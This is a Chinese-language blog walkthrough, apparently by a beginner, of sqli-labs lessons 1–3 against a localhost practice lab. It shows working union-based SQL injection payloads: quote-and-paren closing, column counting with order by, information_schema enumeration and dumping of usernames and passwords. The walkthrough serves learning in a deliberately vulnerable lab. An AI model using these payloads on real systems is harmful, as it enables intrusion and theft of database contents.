通过sqli-labs学习sql注入——基础挑战之less1-3
首先,先看一些基础知识吧!!!!本人只是初学者,记录一下自己的学习过程,有什么错误之处请指出,谢谢!大佬请绕过!!!!
url编码:一般的url编码其实就是那个字符的ASCII值得十六进制,再在前面加个%。具体的编码对应请看w3school上的编码表:http://www.w3school.com.cn/tags/html_ref_urlencode.html
常见的有:空格是%20,单引号是%27, 井号是%23,双引号是%22
判断sql注入(显错和基于错误的盲注):单引号,and 1=1 ,and 1=2,or 1=1 , or 1=2等
判断基于时间的盲注:在上面的基础上,加个sleep函数 ,如sleep(8) (函数不同数据库有所不同)sql 注入的基本步骤(这个跟sqlmap的步骤基本一致吧)
三种常见注释符:# 、--+( 后边有空格 )、/**/ 序列
sql注入基本注入步骤
判断是什么类型注入
获取数据库用户,版本,当前连接的数据库等信息
猜解数据库、表的信息
猜解列、字段信息
最后猜解出数据就可以了!!
首先在源码中加入:
echo "your sql statement is ".$sql."<br>";
用来输出你的sql语句,可以更加方便直观的理解此过程。
注:下面的可能有很多种注入方法,仅举例一种。我主要详细记录Less 3 ,less 1和less2方法类似。
less 3 GET - Error based - Single quotes with twist string (基于错误的GET单引号变形字符型注入)
首先,设置?d=1进行测试,正常访问,可以成功显示数据:
http://127.0.0.1/sqllibs/Less-3/?id=1
可以看到其查询语句为:SELECT * FROM users WHERE id=('1')
则加 ‘ 进行判断,结果显示语法错误:
http://127.0.0.1/sqllibs/Less-3/?id=1'
因为 查询语句变成了:SELECT * FROM users WHERE id=('1''),很明显出现了错误。因此,进行闭合 ‘)—+ ,执行结果如下:
http://127.0.0.1/sqllibs/Less-3/?id=1')—+
可以正常执行,现在来猜解字段长度,通过order by N(N为字段长度)
http://127.0.0.1/sqllibs/Less-3/?id=1')order by 3—+
当 order by 3是,正常返回,说明字段长度N>=3,则猜解4:
http://127.0.0.1/sqllibs/Less-3/?id=1')order by 4—+
返回错误,则说明字段长度为3。令左边id=-1,进行union select 语句拼接查询,则:
http://127.0.0.1/sqllibs/Less-3/?id=-1') union select 1,2,3--+
返回结果为,2,3,下面就开始真正查询数据库的各种信息了。可以看到只有第2列和第3列的结果显示在网页上,所以就只能用2,3这个位置了。但是两个位置应该是不够用的,这时就需要用到数据库的连接函数了,常用的是concat和concat_ws,其中concat_ws的第一个参数是连接字符串的分隔符。
user():返回当前数据库连接使用的用户
database():返回当前数据库连接使用的数据库
version():返回当前数据库的版本
:的十进制ASCII是58 ,空格的十进制ASCII是32,主要是以:进行分隔。
http://127.0.0.1/sqllibs/Less-3/?id=-1') union select 1,2,concat_ws(char(32,58,32),user(),database(),version())—+
可以看到用户名为:root@localhost,数据库为:security,数据库版本号为:5.5.53
接下来查询security数据库中有哪些表。首先说一下mysql的数据库information_schema。它是系统数据库,记录是当前数据库的数据库,表,列,用户权限等信息,下面说一下常用的几个表。
SCHEMATA:储存mysql所有数据库的基本信息,包括数据库名,编码类型路径等。
TABLES:储存mysql中的表信息,包括这个表是基本表还是系统表,数据库的引擎是什么,表有多少行,创建时间,最后更新时间等。
COLUMNS:储存mysql中表的列信息,包括这个表的所有列以及每个列的信息,该列是表中的第几列,列的数据类型,列的编码类型,列的权限,列的注释等。
通过直接在mysql控制台实验可以看到,查询information_schema中的信息时,使用where语句值不能直接用英文,要用单引号包裹着,当然用十六进制表示也可以。
security编码后为:0x7365637572697479
http://127.0.0.1/sqllibs/Less-3/?id=-1') union select 1,2,table_name from information_schema.tables where table_schema=0x7365637572697479--+
http://127.0.0.1/sqllibs/Less-3/?id=-1') union select 1,2,table_name from information_schema.tables where table_schema=0x7365637572697479 limit 2,1--+
http://127.0.0.1/sqllibs/Less-3/?id=-1') union select 1,2,table_name from information_schema.tables where table_schema=0x7365637572697479 limit 3,1--+
猜解出users表,进一步猜解
http://127.0.0.1/sqllibs/Less-3/?id=-1') union select 1,2,column_name from information_schema.columns where table_schema=0x7365637572697479 and table_name=0x7573657273 limit 0,1—+
猜解出ID字段
http://127.0.0.1/sqllibs/Less-3/?id=-1') union select 1,2,column_name from information_schema.columns where table_schema=0x7365637572697479 and table_name=0x7573657273 limit 1,1--+
猜解出username字段
http://127.0.0.1/sqllibs/Less-3/?id=-1') union select 1,2,column_name from information_schema.columns where table_schema=0x7365637572697479 and table_name=0x7573657273 limit 2,1—+
猜解出password字段
http://127.0.0.1/sqllibs/Less-3/?id=-1') union select 1,2,concat_ws(char(32,58,32),id,username,password) from users limit 2,1—+
成功查询出数据id:3,username:Dummy,password:p@ssword
通过sqli-labs学习sql注入——基础挑战之less1-3的更多相关文章
- 通过sqli-labs学习sql注入——基础挑战之less1
环境准备: Phpstudy (PHP+Apache+Mysql) Sql-lab 首先了解下基础知识: URL编码: 因为在浏览器中,当我们访问一个网址的时候,浏览器会自动将用户输入的网址进行UR ...
- Sql注入基础原理介绍
说明:文章所有内容均截选自实验楼教程[Sql注入基础原理介绍]~ 实验原理 Sql 注入攻击是通过将恶意的 Sql 查询或添加语句插入到应用的输入参数中,再在后台 Sql 服务器上解析执行进行的攻击, ...
- web安全学习(sql注入1)
web安全学习(sql注入1) 一.简介 sql语句就是数据库语句,而sql注入就是用户将自己构造的恶意sql语句提交,然后服务器执行提交的危险语句.sql注入可能造成信息泄露以及服务器被控制等危害. ...
- SQL注入 基础学习
SQL注入学习笔记 注入原理 SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序,而这些输入大都是SQL语法里的一些组合,通过执行SQL语句进而执行攻击者所要的操作,其主要原因是程序没有 ...
- 2019-9-10:渗透测试,基础学习,sql注入笔记
sql注入1,万能密码,自己写的网站,找到登录窗口,必须和数据库交互,往里插入构造的恶意代码,最后可以直接登录进去,不需要账号和密码,输入的恶意代码成为万能密码,后端拼接的sql语句,SELECT * ...
- Sqli-labs之sql注入基础知识
(1)注入的分类 基于从服务器接收到的响应 ▲基于错误的SQL注入 ▲联合查询的类型 ▲堆查询注射 ▲SQL盲注 •基于布尔SQL盲注 •基于时间的SQL盲注 •基于报错的SQL盲注 基于如何处理输 ...
- WebGoat学习——SQL注入(SQL Injection)
SQL注入(SQL Injection) 所谓SQL注入式攻击,就是攻击者把SQL命令插入到Web表单的输入域或页面请求的查询字符串,欺骗服务器执行恶意的SQL命令.攻击者通过web请求提交带有影响正 ...
- TSRC挑战赛:WAF之SQL注入绕过挑战实录
转自腾讯 博文作者:TSRC白帽子 发布日期:2014-09-03 阅读次数:1338 博文内容: 博文作者:lol [TSRC 白帽子] 第二作者:Conqu3r.花开若相惜 来自团队:[Pax.M ...
- 学习SQL注入---1
开始接触SQL注入了,最开始根据网上的思路做了两道注入的题,但对于SQL注入如何实现,怎么一个流程还是不理解.后来,在网上查找了很多资料,现在一点点去理解. 1.利用sqlmap注入的时候,不是所有页 ...
随机推荐
- Maven的默认中央仓库
当构建一个Maven项目时,首先检查pom.xml文件以确定依赖包的下载位置,执行顺序如下: 1.从本地资源库中查找并获得依赖包,如果没有,执行第2步. 2.从Maven默认中央仓库中查找并获得依赖包 ...
- 使用matlibplot.pyplot设置画图的坐标系
今天看了林轩田老师的感知机算法,心血来潮想要做个可视化过程,以便观察更新的过程. 现将学习成果做个记录,下面是画出来的图,这是初始的状态,后面会通过算法找到一条经过原点的直线将两堆数据分割开来. 直线 ...
- 并发编程—— LinkedTransferQueue
1. 前言 Java 中总的算起来有 8 种阻塞队列. 我们分析了: 并发编程之 SynchronousQueue 核心源码分析 并发编程之 ConcurrentLinkedQueue 源码剖析 并发 ...
- C# int? 关键字
1.int? 关键字说明 (1).int? 表示一个int类型,且该int类型可空,如果不加?的话,那么int类型的默认值为0,不能赋null值,代码如下: int aa = null; (2).当 ...
- C++标准模板库STL
STL(Standard Template Library,标准模板库)是惠普实验室开发的一系列软件的统称.现然主要出现在C++中,但在被引入C++之前该技术就已经存在了很长的一段时间. STL的代码 ...
- Oracle问题之ORA-12560TNS:协议适配器错误-转载
作者:@haimishasha本文为作者原创,转载请注明出处:https://www.cnblogs.com/haimishasha/p/5394963.html 目录 Oracle问题之ORA-12 ...
- 【17】迭代器模式(Iterator Pattern)
一.引言 在上篇博文中分享了我对命令模式的理解,命令模式主要是把行为进行抽象成命令,使得请求者的行为和接受者的行为形成低耦合.在这一章中,将介绍一下迭代器模式. 二.迭代器模式的介绍 迭代器是针对集合 ...
- ubuntu下安装 Sublime Text 3 及 PlantUML 绘图插件
ubuntu下只想做C++的程序代码编写,最开始选择了codeblock,主要目的是安装简单,集成度高,还可以调试,但是用的时候老是无故退出,改了半天的代码就这样丢失,挺苦恼的,可能跟自己装的系统比较 ...
- JavaScript 数组复制的方法
1.循环 2.Array.from(arr) 3.let arr2 = [...arr]
- 【js实例】Array类型的9个数组方法,Date类型的41个日期方法,Function类型
前文提要:[js实例]js中的5种基本数据类型和9种操作符 Array类型的9个数组方法 Array中有9个数组方法: 1.检测数组 2.转换方法 3.栈方法 4.队列方法 5.冲排序方法6.操作方法 ...